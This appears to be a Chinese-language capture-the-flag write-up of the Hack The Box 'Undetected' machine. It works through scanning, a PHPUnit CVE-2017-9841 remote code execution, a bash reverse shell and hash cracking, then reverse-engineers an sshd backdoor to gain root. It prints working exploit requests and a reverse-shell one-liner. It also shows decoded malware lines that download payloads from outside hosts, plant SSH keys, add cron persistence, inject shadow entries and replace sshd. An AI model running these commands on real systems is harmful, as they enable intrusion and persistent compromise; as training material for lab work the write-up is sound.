Hackthebox - Undetected
靶场信息
靶场类型
信息搜集
Nmap
┌──(root💀kali)-[~/Desktop]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.146
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-24 21:25 EST
Nmap scan report for 10.10.11.146
Host is up (0.23s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey:
| 3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
| 256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_ 256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Diana's Jewelry
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=2/24%OT=22%CT=1%CU=42918%PV=Y%DS=2%DC=T%G=Y%TM=62183E4
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=C)SEQ
OS:(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)SEQ(TI=Z%CI=Z%II=I%TS=A)OPS(O1=M505
OS:ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11NW7%O6=
OS:M505ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=
OS:Y%T=40%W=FAF0%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q
OS:=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%
OS:T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD
OS:=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL
OS:=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 222.46 ms 10.10.14.1
2 222.61 ms 10.10.11.146
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.48 seconds
nmap扫描后只看到22和80，那就去看看80端口吧
Http
这看着像是一家珠宝店的官网，先在网站上到处看看有没有啥可以利用的东西吧
点击STORE会跳转到store.djewelry.htb，加入hosts再看看
echo 10.10.11.146 djewelry.htb store.djewelry.htb >> /etc/hosts
进来以后是一个商城页面，到处看看功能点
这里提示网站已搬迁，去做个FUZZ看看
Fuzz
┌──(root💀kali)-[~/Desktop]
└─# ffuf -u "http://store.djewelry.htb/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
/'___ /'___ /'___
/ __/ / __/ __ __ / __/
,__\ ,__/ / ,__
_/ _/ _ _/
_ _ ____/ _
/_/ /_/ /___/ /_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://store.djewelry.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
js [Status: 301, Size: 321, Words: 20, Lines: 10]
images [Status: 301, Size: 325, Words: 20, Lines: 10]
css [Status: 301, Size: 322, Words: 20, Lines: 10]
fonts [Status: 301, Size: 324, Words: 20, Lines: 10]
vendor [Status: 301, Size: 325, Words: 20, Lines: 10]
server-status [Status: 403, Size: 283, Words: 20, Lines: 10]
[Status: 200, Size: 6215, Words: 528, Lines: 196]
:: Progress: [20116/20116] :: Job [1/1] :: 106 req/sec :: Duration: [0:03:03] :: Errors: 0 ::
挨个查看一下
在vendor里有不少东西，有点意思
/vendor/phpunit/phpunit/
在这个路径中可以看到版本更新记录，最后一个版本是5.6，查看一下ChangeLog-5.6.md
# Changes in PHPUnit 5.6
All notable changes of the PHPUnit 5.6 release series are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles.
## [5.6.2] - 2016-10-25
New PHAR release due to updated dependencies
## [5.6.1] - 2016-10-07
### Fixed
* Fixed [#2320](https://github.com/sebastianbergmann/phpunit/issues/2320): Conflict between `PHPUnit_Framework_TestCase::getDataSet()` and `PHPUnit_Extensions_Database_TestCase::getDataSet()`
## [5.6.0] - 2016-10-07
### Added
* Merged [#2240](https://github.com/sebastianbergmann/phpunit/pull/2240): Provide access to a test case's data set (for use in `setUp()`, for instance)
* Merged [#2262](https://github.com/sebastianbergmann/phpunit/pull/2262): Add the `PHPUnit_Framework_Constraint_DirectoryExists`, `PHPUnit_Framework_Constraint_IsReadable`, and `PHPUnit_Framework_Constraint_IsWritable` constraints as well as the `assertIsReadable()`, `assertNotIsReadable()`, `assertIsWritable()`, `assertNotIsWritable()`, `assertDirectoryExists()`, `assertDirectoryNotExists()`, `assertDirectoryIsReadable()`, `assertDirectoryNotIsReadable()`, `assertDirectoryIsWritable()`, `assertDirectoryNotIsWritable()`, `assertFileIsReadable()`, `assertFileNotIsReadable()`, `assertFileIsWritable()`, and `assertFileNotIsWritable()` assertions
* Added `PHPUnitFrameworkTestCase::createConfiguredMock()` based on [idea](https://twitter.com/kriswallsmith/status/763550169090625536) by Kris Wallsmith
* Added the `@doesNotPerformAssertions` annotation for excluding a test from the "useless test" risky test check
### Changed
* Deprecated `PHPUnitFrameworkTestCase::setExpectedExceptionRegExp()`
* `PHPUnit_Util_Printer` no longer optionally cleans up HTML output using `ext/tidy`
[5.6.2]: https://github.com/sebastianbergmann/phpunit/compare/5.6.1...5.6.2
[5.6.1]: https://github.com/sebastianbergmann/phpunit/compare/5.6.0...5.6.1
[5.6.0]: https://github.com/sebastianbergmann/phpunit/compare/5.5...5.6.0
这边给出了一个更新时间，最后一次是在2016-10-25，那咱们看看PHPUnit在这个时间之后的漏洞就可以了
这边搜索后可以看到有一个CVE-2017-9841是符合我们的条件的
漏洞利用
Exploit
http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
https://www.cvedetails.com/cve/CVE-2017-9841/
https://github.com/vulhub/vulhub/blob/master/phpunit/CVE-2017-9841/README.zh-cn.md
根据上面对该漏洞的描述，在vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php处进行利用，咱们抓个包进行一次尝试
在下方加入然后放包执行
成功被执行了
现在咱们来想办法构造一下命令
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: store.djewelry.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 24
<?php system("whoami")?>
成功执行命令，但是有点麻烦，用curl看看能不能成功吧
┌──(root💀kali)-[~/Desktop]
└─# curl http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php --data "<?php system('whoami')?>"
www-data
OK，成功执行命令，那么现在来构造poc回弹shell吧
Shell
使用nc监听一个端口
nc -nvlp 4444
<?php system('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.24/4444 0>&1"')?>
在burp里执行即可获得shell
┌──(root💀kali)-[~/Desktop]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.11.146] 56644
bash: cannot set terminal process group (865): Inappropriate ioctl for device
bash: no job control in this shell
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ python3 -c "import pty;pty.spawn('/bin/bash')";
<HP$ python3 -c "import pty;pty.spawn('/bin/bash')";
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ whoami&&id
<ore/vendor/phpunit/phpunit/src/Util/PHP$ whoami&&id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
成功拿到一个shell
Ctrl+Z返回
stty raw -echo; fg
export TERM=xterm
stty rows 51 cols 237
修复一下shell
权限提升
User
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ grep 'bash' /etc/passwd
root:x:0:0:root:/root:/bin/bash
steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash
steven1:x:1000:1000:,,,:/home/steven:/bin/bash
咱们的提权目标就在steven和steven1这两个用户上了
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ cd /home
www-data@production:/home$ ls
steven
www-data@production:/home$ cd steven
bash: cd: steven: Permission denied
www-data@production:/home$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Feb 8 19:59 .
drwxr-xr-x 19 root root 4096 Feb 8 19:59 ..
drwxr-x--- 5 steven steven 4096 Feb 8 19:59 steven
没有权限进入steven用户目录，这里暂时没有思路了，跑一个Linpeas看看
linpeas跑出来的结果比较多，就不全贴出来了，其中看到一个
/var/backups/info存在一个这个文件，并且还是www-data权限的，去看看
www-data@production:/var/backups$ ls -la
total 72
drwxr-xr-x 2 root root 4096 Feb 24 23:49 .
drwxr-xr-x 13 root root 4096 Feb 8 19:59 ..
-rw-r--r-- 1 root root 34011 Feb 8 19:05 apt.extended_states.0
-r-x------ 1 www-data www-data 27296 May 14 2021 info
www-data@production:/var/backups$ file info
info: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dc004db7476356e9ed477835e583c68f1d2493a, for GNU/Linux 3.2.0, not stripped
这是一个二进制文件，查看一下
776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b
在一大堆乱码中找到了这么一串十六进制字符
┌──(root💀kali)-[~/Desktop]
└─# echo "776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b" | xxd -r -p
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;
我们将它转为ASCII格式
提取出这么一串hash，然后稍微修改一下
$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/
然后再读取中知道了这一串应该是setven1的密码，去使用john爆破一下试试
┌──(root💀kali)-[~/Desktop]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ihatehackers (?)
1g 0:00:00:55 DONE (2022-02-25 01:39) 0.01789g/s 1594p/s 1594c/s 1594C/s jojo95..halo03
Use the "--show" option to display all of the cracked passwords reliably
Session completed
得到了setven1的密码
username = steven1
password = ihatehackers
使用ssh进行连接
┌──(root💀kali)-[~/Desktop]
└─# ssh [email protected]
[email protected]'s password:
steven@production:~$ whoami&&id
steven
uid=1000(steven) gid=1000(steven) groups=1000(steven)
成功获得user权限
steven@production:~$ ls
user.txt
steven@production:~$ cat user.txt
e27e4aba73ab8ba7421550905082163e
成功获得user权限的flag文件
Root
sudo -l提示失败，那就跑个linpeas.sh看看情况吧
[+] Mails (limit 50)
17793 4 -rw-rw---- 1 steven mail 966 Jul 25 2021 /var/mail/steven
17793 4 -rw-rw---- 1 steven mail 966 Jul 25 2021 /var/spool/mail/steven
看到两个关于邮件的信息，查看一下
steven@production:~$ cat /var/mail/steven
From root@production Sun, 25 Jul 2021 10:31:12 GMT
Return-Path: <root@production>
Received: from production (localhost [127.0.0.1])
by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
Received: (from root@localhost)
by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
Sun, 25 Jul 2021 10:31:12 GMT
Date: Sun, 25 Jul 2021 10:31:12 GMT
Message-Id: <202107251031.80FAcdZ171847@production>
To: steven@production
From: root@production
Subject: Investigations
Hi Steven.
We recently updated the system but are still experiencing some strange behaviour with the Apache service.
We have temporarily moved the web store and database to another server whilst investigations are underway.
If for any reason you need access to the database or web application code, get in touch with Mark and he
will generate a temporary password for you to authenticate to the temporary server.
Thanks,
sysadmin
这里大概意思是说最近更新了一下系统，但是在apache上有点奇怪的问题，所以暂时把商城和数据库搬迁到另一台服务器上了，正在排查原因，如果我们需要访问的话可以联系Mark，他会给我们一个临时密码的
这里我猜测应该是做邮件伪造了
不过我们还是先去看看apache服务吧
apache服务目录位于/usr/lib
steven@production:~$ ls -la /usr/lib/apache2/
total 28
drwxr-xr-x 3 root root 4096 Jul 5 2021 .
drwxr-xr-x 82 root root 4096 Feb 8 19:59 ..
drwxr-xr-x 2 root root 20480 Jan 28 21:05 modules
我们对这个目录有读取和执行权限，还不错，去看看
steven@production:/usr/lib/apache2/modules$ ls -la
total 8796
drwxr-xr-x 2 root root 20480 Jan 28 21:05 .
drwxr-xr-x 3 root root 4096 Jul 5 2021 ..
-rw-r--r-- 1 root root 15925 Jan 5 14:49 httpd.exp
-rw-r--r-- 1 root root 4625776 Nov 25 23:16 libphp7.4.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_access_compat.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_actions.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_alias.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_allowmethods.so
-rw-r--r-- 1 root root 14464 Jan 5 14:49 mod_asis.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_auth_basic.so
-rw-r--r-- 1 root root 39120 Jan 5 14:49 mod_auth_digest.so
-rw-r--r-- 1 root root 35024 Jan 5 14:49 mod_auth_form.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_authn_anon.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_authn_core.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_authn_dbd.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_authn_dbm.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_authn_file.so
-rw-r--r-- 1 root root 22768 Jan 5 14:49 mod_authn_socache.so
-rw-r--r-- 1 root root 35024 Jan 5 14:49 mod_authnz_fcgi.so
-rw-r--r-- 1 root root 55528 Jan 5 14:49 mod_authnz_ldap.so
-rw-r--r-- 1 root root 30928 Jan 5 14:49 mod_authz_core.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_authz_dbd.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_authz_dbm.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_authz_groupfile.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_authz_host.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_authz_owner.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_authz_user.so
-rw-r--r-- 1 root root 43216 Jan 5 14:49 mod_autoindex.so
-rw-r--r-- 1 root root 22736 Jan 5 14:49 mod_brotli.so
-rw-r--r-- 1 root root 14464 Jan 5 14:49 mod_bucketeer.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_buffer.so
-rw-r--r-- 1 root root 80176 Jan 5 14:49 mod_cache.so
-rw-r--r-- 1 root root 39120 Jan 5 14:49 mod_cache_disk.so
-rw-r--r-- 1 root root 39152 Jan 5 14:49 mod_cache_socache.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_case_filter.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_case_filter_in.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_cern_meta.so
-rw-r--r-- 1 root root 30928 Jan 5 14:49 mod_cgi.so
-rw-r--r-- 1 root root 43216 Jan 5 14:49 mod_cgid.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_charset_lite.so
-rw-r--r-- 1 root root 14464 Jan 5 14:49 mod_data.so
-rw-r--r-- 1 root root 104656 Jan 5 14:49 mod_dav.so
-rw-r--r-- 1 root root 59600 Jan 5 14:49 mod_dav_fs.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_dav_lock.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_dbd.so
-rw-r--r-- 1 root root 39120 Jan 5 14:49 mod_deflate.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_dialup.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_dir.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_dumpio.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_echo.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_env.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_expires.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_ext_filter.so
-rw-r--r-- 1 root root 14592 Jan 5 14:49 mod_file_cache.so
-rw-r--r-- 1 root root 22736 Jan 5 14:49 mod_filter.so
-rw-r--r-- 1 root root 30928 Jan 5 14:49 mod_headers.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_heartbeat.so
-rw-r--r-- 1 root root 30928 Jan 5 14:49 mod_heartmonitor.so
-rw-r--r-- 1 root root 253632 Jan 5 14:49 mod_http2.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_ident.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_imagemap.so
-rw-r--r-- 1 root root 55504 Jan 5 14:49 mod_include.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_info.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_lbmethod_bybusyness.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_lbmethod_byrequests.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_lbmethod_bytraffic.so
-rw-r--r-- 1 root root 22736 Jan 5 14:49 mod_lbmethod_heartbeat.so
-rw-r--r-- 1 root root 84176 Jan 5 14:49 mod_ldap.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_log_debug.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_log_forensic.so
-rw-r--r-- 1 root root 134544 Jan 5 14:49 mod_lua.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_macro.so
-rw-r--r-- 1 root root 260672 Jan 5 14:49 mod_md.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_mime.so
-rw-r--r-- 1 root root 30928 Jan 5 14:49 mod_mime_magic.so
-rw-r--r-- 1 root root 67792 Jan 5 14:49 mod_mpm_event.so
-rw-r--r-- 1 root root 39120 Jan 5 14:49 mod_mpm_prefork.so
-rw-r--r-- 1 root root 47312 Jan 5 14:49 mod_mpm_worker.so
-rw-r--r-- 1 root root 39120 Jan 5 14:49 mod_negotiation.so
-rw-r--r-- 1 root root 133888 Jan 5 14:49 mod_proxy.so
-rw-r--r-- 1 root root 55504 Jan 5 14:49 mod_proxy_ajp.so
-rw-r--r-- 1 root root 59600 Jan 5 14:49 mod_proxy_balancer.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_proxy_connect.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_proxy_express.so
-rw-r--r-- 1 root root 35024 Jan 5 14:49 mod_proxy_fcgi.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_proxy_fdpass.so
-rw-r--r-- 1 root root 47312 Jan 5 14:49 mod_proxy_ftp.so
-rw-r--r-- 1 root root 35024 Jan 5 14:49 mod_proxy_hcheck.so
-rw-r--r-- 1 root root 39152 Jan 5 14:49 mod_proxy_html.so
-rw-r--r-- 1 root root 47312 Jan 5 14:49 mod_proxy_http.so
-rw-r--r-- 1 root root 67936 Jan 5 14:49 mod_proxy_http2.so
-rw-r--r-- 1 root root 22768 Jan 5 14:49 mod_proxy_scgi.so
-rw-r--r-- 1 root root 22656 Jan 5 14:49 mod_proxy_uwsgi.so
-rw-r--r-- 1 root root 18560 Jan 5 14:49 mod_proxy_wstunnel.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_ratelimit.so
-rw-r--r-- 1 root root 34800 May 17 2021 mod_reader.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_reflector.so
-rw-r--r-- 1 root root 30928 Jan 5 14:49 mod_remoteip.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_reqtimeout.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_request.so
-rw-r--r-- 1 root root 75984 Jan 5 14:49 mod_rewrite.so
-rw-r--r-- 1 root root 43216 Jan 5 14:49 mod_sed.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_session.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_session_cookie.so
-rw-r--r-- 1 root root 30928 Jan 5 14:49 mod_session_crypto.so
-rw-r--r-- 1 root root 22736 Jan 5 14:49 mod_session_dbd.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_setenvif.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_slotmem_plain.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_slotmem_shm.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_socache_dbm.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_socache_memcache.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_socache_redis.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_socache_shmcb.so
-rw-r--r-- 1 root root 18640 Jan 5 14:49 mod_speling.so
-rw-r--r-- 1 root root 248240 Jan 5 14:49 mod_ssl.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_status.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_substitute.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_suexec.so
-rw-r--r-- 1 root root 14464 Jan 5 14:49 mod_unique_id.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_userdir.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_usertrack.so
-rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_vhost_alias.so
-rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_xml2enc.so
文件有点多啊，那么稍微筛选一下，按照最近修改来排序
steven@production:/usr/lib/apache2/modules$ ls --full-time -i | sort -u
2050 -rw-r--r-- 1 root root 34800 2021-05-17 07:10:04.000000000 +0000 mod_reader.so
就是这个文件了，我们把它下载下来看看
scp [email protected]:/usr/lib/apache2/modules/mod_reader.so ~/Desktop
下载下来后，在mod_reader.so中提取到一段base64码
d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk
给解析一下
┌──(root💀kali)-[~/Desktop]
└─# echo -n 'd2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk' | base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
这边是把这张图片传输到sshd，去下载下来
使用ghidra打开进行逆向
从这里可以看出来，我们的密码是31位
backdoor._28_2_ = 0xa9f4;
backdoor._24_4_ = 0xbcf0b5e3;
backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
backdoor[30] = -0x5b;
backdoor._0_4_ = 0xf0e7abd6;
backdoor._4_4_ = 0xa4b3a3f3;
backdoor._8_4_ = 0xf7bbfdc8;
backdoor._12_4_ = 0xfdb3d6e7;
我们给它排序一下，从高到低排序
backdoor[30] = -0x5b;
backdoor._28_2_ = 0xa9f4;
backdoor._24_4_ = 0xbcf0b5e3;
backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
backdoor._12_4_ = 0xfdb3d6e7;
backdoor._8_4_ = 0xf7bbfdc8;
backdoor._4_4_ = 0xa4b3a3f3;
backdoor._0_4_ = 0xf0e7abd6;
0x5b
0xa9f4
0xbcf0b5e3
0xb2d6f4a0fda0b3d6
0xfdb3d6e7
0xf7bbfdc8
0xa4b3a3f3
0xf0e7abd6
这边排序好以后，右键查看一下0x5b
发现正确的应该是0xa5，修改一下后去做一下编码
首先转化成HEX再转化为XOR
https://gchq.github.io/CyberChef/#recipe=Swap_endianness('Hex',31,true)From_Hex('Auto')XOR({'option':'Hex','string':'96'},'Standard',false)&input=MHhhNQoweGE5ZjQKMHhiY2YwYjVlMwoweGIyZDZmNGEwZmRhMGIzZDYKMHhmZGIzZDZlNwoweGY3YmJmZGM4CjB4YTRiM2EzZjMKMHhmMGU3YWJkNg
这是最终改出来的效果，点开即可看到我的结果
0xa5
0xa9f4
0xbcf0b5e3
0xb2d6f4a0fda0b3d6
0xfdb3d6e7
0xf7bbfdc8
0xa4b3a3f3
0xf0e7abd6
@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
得到了backdoor的密码
┌──(root💀kali)-[~/Desktop]
└─# ssh [email protected]
The authenticity of host '10.10.11.146 (10.10.11.146)' can't be established.
ECDSA key fingerprint is SHA256:2jPT4mThqEcnA/qjjQsIWwy2QNwGObWQX5MjK5YNvCM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.146' (ECDSA) to the list of known hosts.
[email protected]'s password:
Last login: Fri Feb 25 12:56:49 2022 from 10.10.14.76
root@production:~# whoami&&id
root
